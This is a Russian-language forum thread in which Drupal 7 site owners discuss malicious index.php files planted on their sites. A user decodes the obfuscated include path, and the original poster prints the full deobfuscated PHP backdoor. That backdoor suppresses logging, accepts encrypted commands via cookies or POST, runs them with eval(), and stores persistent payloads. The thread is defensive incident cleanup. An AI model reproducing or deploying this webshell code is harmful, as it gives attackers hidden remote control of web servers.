Drupal 7 и вредоносные index.php

DarthOlolo

Создатель
Регистрация
25 Авг 2017
Сообщения
41
Реакции
3
Добрый день, подскажите пожалуйста, сталкивался ли кто-нибудь с подобной проблемой - имеется несколько сайтов на drupal 7, на разных хостингах, сайты настроенные под каталог товаров, приблизительно месяц назад на сайтах лежащих на beget появилось предупреждение, что в директории сайта имеются вредоносные файлы, просмотрев отчет ai-bolit увидели, что в большинстве папок создаются файлы index.php с примерно следующим содержанием
Код:
<?php
/*538be*/

@include "\x2fh\x6fm\x65/\x78/\x783\x380\x393\x39s\x2fp\x72i\x62o\x72p\x6fs\x74a\x76k\x61.\x72u\x2fp\x75b\x6ci\x63_\x68t\x6dl\x2fs\x69t\x65s\x2fa\x6cl\x2fl\x69b\x72a\x72i\x65s\x2f.\x324\x337\x39a\x347\x2ei\x63o";

/*538be*/
во всех разные вариации того, что в кавычках инклуда, но везде идет подключение это. Удаляли все эти файлы, обновили ядро, до 7.59, однако индексы продолжают создаваться. Помимо этого, на некоторых сайтах подобная вставка была и в index.php который лежит в корне сайта.
Подскажите, кто сталкивался с подобным явлением?
 

prefer

Постоялец
Регистрация
12 Май 2016
Сообщения
448
Реакции
141
Декодировал строку в include
получилось "/home/x/x380939s/priborpostavka.ru/public_html/sites/all/libraries/.24379a47.ico"
 

DarthOlolo

Создатель
Регистрация
25 Авг 2017
Сообщения
41
Реакции
3
Подскажите пожалуйста с помощью чего декодировали? Файл уже похоже удалили после прошлой зачистки, так как в той директории не нашел никаких ico
 

prefer

Постоялец
Регистрация
12 Май 2016
Сообщения
448
Реакции
141
Подскажите пожалуйста с помощью чего декодировали? Файл уже похоже удалили после прошлой зачистки, так как в той директории не нашел никаких ico
Декодировал на Для просмотра ссылки Войди или Зарегистрируйся
Имейте ввиду что файл .24379a47.ico "невидимый" так как начинается с точки
 

DarthOlolo

Создатель
Регистрация
25 Авг 2017
Сообщения
41
Реакции
3
Спасибо огромное, действительно все index.php отсылаются к одному файлу, не подскажите реально ли узнать что именно создаёт данный файл?
 

prefer

Постоялец
Регистрация
12 Май 2016
Сообщения
448
Реакции
141
Спасибо огромное, действительно все index.php отсылаются к одному файлу, не подскажите реально ли узнать что именно создаёт данный файл?
Так загляните в файл - пусть вас не смущает расширение
Это должен быть файл с PHP командами
 

DarthOlolo

Создатель
Регистрация
25 Авг 2017
Сообщения
41
Реакции
3
Заглядывал, там вообще какой то адовый ад, с восьмой строки идут какие то переменные, так понимаю, что тоже закодированные, но тем сервисом который вы сбросили не декодируются.
 

Вложения

  • bad-file.ico.zip
    19,2 KB · Просмотры: 1

DarthOlolo

Создатель
Регистрация
25 Авг 2017
Сообщения
41
Реакции
3
Если не ошибаемся, то расшифрованный код получается таким, но в нем честно говоря вообще ничего понять не могу
Код:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $tzapquer = 'bbc33289-49f5-4539-8cad-ada588f61d4c';
    global $tzapquer;

    function vvayyfn($qyluuqh) {

        if (strlen($qyluuqh) < 4)
        {
            return "";
        }

        $afsbye = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $ehvobw = str_split($afsbye);
        $ehvobw = array_flip($ehvobw);

        $bwugpg = 0;
        $veqpdjf = "";

        $qyluuqh = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $qyluuqh);

        do {
            $grdhyxeq = $ehvobw[$qyluuqh[$bwugpg++]];
            $yxcfaxai = $ehvobw[$qyluuqh[$bwugpg++]];
            $rxvzzxqe = $ehvobw[$qyluuqh[$bwugpg++]];
            $gpnogtvq = $ehvobw[$qyluuqh[$bwugpg++]];

            $tmclyvhb = ($grdhyxeq << 2) | ($yxcfaxai >> 4);
            $bwugpgnnuidzt = (($yxcfaxai & 15) << 4) | ($rxvzzxqe >> 2);
            $mrsfhks = (($rxvzzxqe & 3) << 6) | $gpnogtvq;
            $veqpdjf = $veqpdjf . chr($tmclyvhb);
            if ($rxvzzxqe != 64) {
                $veqpdjf = $veqpdjf . chr($bwugpgnnuidzt);
            }
            if ($gpnogtvq != 64) {
                $veqpdjf = $veqpdjf . chr($mrsfhks);
            }
        } while ($bwugpg < strlen($qyluuqh));
        return $veqpdjf;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($dizsyq, $rdtljrr, $wmrqxuxf = False)
        {
            $qxaizj = $wmrqxuxf == 8 ? 'a' : 'w';
            $rqvpdgp = @fopen($dizsyq, $qxaizj);
            if ($rqvpdgp === False)
            {
                return 0;
            }
            else
            {
                if (is_array($rdtljrr)) $rdtljrr = implode($rdtljrr);
                $rdtljrrhuoqdva = fwrite($rqvpdgp, $rdtljrr);
                fclose($rqvpdgp);
                return $rdtljrrhuoqdva;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($vroramco)
        {
            $axfzsh = fopen($vroramco, "r");
            $rqvpdgpbjjuwe = fread($axfzsh, filesize($vroramco));
            fclose($axfzsh);

            return $rqvpdgpbjjuwe;
        }
    }
    function brvbejmy()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function plxzfkm($bnyqxla, $wsyemyu)
    {
        $zhlvyu = "";

        for ($bwugpg=0; $bwugpg<strlen($bnyqxla);)
        {
            for ($jipuxx=0; $jipuxx<strlen($wsyemyu) && $bwugpg<strlen($bnyqxla); $jipuxx++, $bwugpg++)
            {
                $zhlvyu .= chr(ord($bnyqxla[$bwugpg]) ^ ord($wsyemyu[$jipuxx]));
            }
        }

        return $zhlvyu;
    }

    function rmayjiv($bnyqxla, $wsyemyu)
    {
        global $tzapquer;

        return plxzfkm(plxzfkm($bnyqxla, $wsyemyu), $tzapquer);
    }
    function pqpbevkp($bnyqxla, $wsyemyu)
    {
        global $tzapquer;

        return plxzfkm(plxzfkm($bnyqxla, $tzapquer), $wsyemyu);
    }

    function jujyue()
    {
        $mpwoeawa = @file_get_contents(brvbejmy());

        $wkdnzkc = strpos($mpwoeawa, md5(brvbejmy()));
        if ($wkdnzkc !== FALSE)
        {
            $qvkuitcz = substr($mpwoeawa, $wkdnzkc + 32);
            $vezdbiku = @unserialize(rmayjiv(rawurldecode($qvkuitcz), md5(brvbejmy())));
        }
        else
        {
            $vezdbiku = Array();
        }

        return $vezdbiku;
    }

    function fahjzwha($vezdbiku)
    {
        $rqvpdgptykas = rawurlencode(pqpbevkp(@serialize($vezdbiku), md5(brvbejmy())));
        $mpwoeawa = @file_get_contents(brvbejmy());

        $wkdnzkc = strpos($mpwoeawa, md5(brvbejmy()));
        if ($wkdnzkc !== FALSE)
        {
            $rdtljrrzywfh = substr($mpwoeawa, $wkdnzkc + 32);
            $mpwoeawa = str_replace($rdtljrrzywfh, $rqvpdgptykas, $mpwoeawa);

        }
        else
        {
            $mpwoeawa = $mpwoeawa . "\n\n//" . md5(brvbejmy()) . $rqvpdgptykas;
        }

        @file_put_contents(brvbejmy(), $mpwoeawa);
    }

    function gtfmsg($zlgbvph, $wekzob)
    {
        $vezdbiku = jujyue();

        $vezdbiku[$zlgbvph] = vvayyfn($wekzob);

        fahjzwha($vezdbiku);
    }

    function ueawnwdg($zlgbvph)
    {
        $vezdbiku = jujyue();

        unset($vezdbiku[$zlgbvph]);

        fahjzwha($vezdbiku);
    }

    function mfvqgidg($zlgbvph=NULL)
    {
        foreach (jujyue() as $kcrhbx=>$muhvkbd)
        {
            if ($zlgbvph)
            {
                if (strcmp($zlgbvph, $kcrhbx) == 0)
                {
                    eval($muhvkbd);
                    break;
                }
            }
            else
            {
                eval($muhvkbd);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $sdzrvvmw => $bnyqxla)
    {
        $bnyqxla = @unserialize(rmayjiv(vvayyfn($bnyqxla), $sdzrvvmw));

        if (isset($bnyqxla['ak']) && $tzapquer==$bnyqxla['ak'])
        {
            if ($bnyqxla['a'] == 'i')
            {
                $bwugpg = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $bnyqxla['ak'],
                );
                echo @serialize($bwugpg);
                exit;
            }
            elseif ($bnyqxla['a'] == 'e')
            {
                eval($bnyqxla['d']);
            }
            elseif ($bnyqxla['a'] == 'plugin')
            {
                if($bnyqxla['sa'] == 'add')
                {
                    gtfmsg($bnyqxla['p'], $bnyqxla['d']);
                }
                elseif($bnyqxla['sa'] == 'rem')
                {
                    ueawnwdg($bnyqxla['p']);
                }
            }
            echo $bnyqxla['ak'];
            exit();
        }
    }

    mfvqgidg();
}
 

dead4nv

Постоялец
Регистрация
7 Авг 2017
Сообщения
55
Реакции
12
позвольте подключится к вашей теме), вот приложил архив с файликом, который обнаружил на друпальном сайте.
если у кого есть возможность раскодировать, прошу выложить.
у меня не получилось через разные сервисы раскодировать.
 

Вложения

  • hz_file.zip
    1,5 KB · Просмотры: 4
Сверху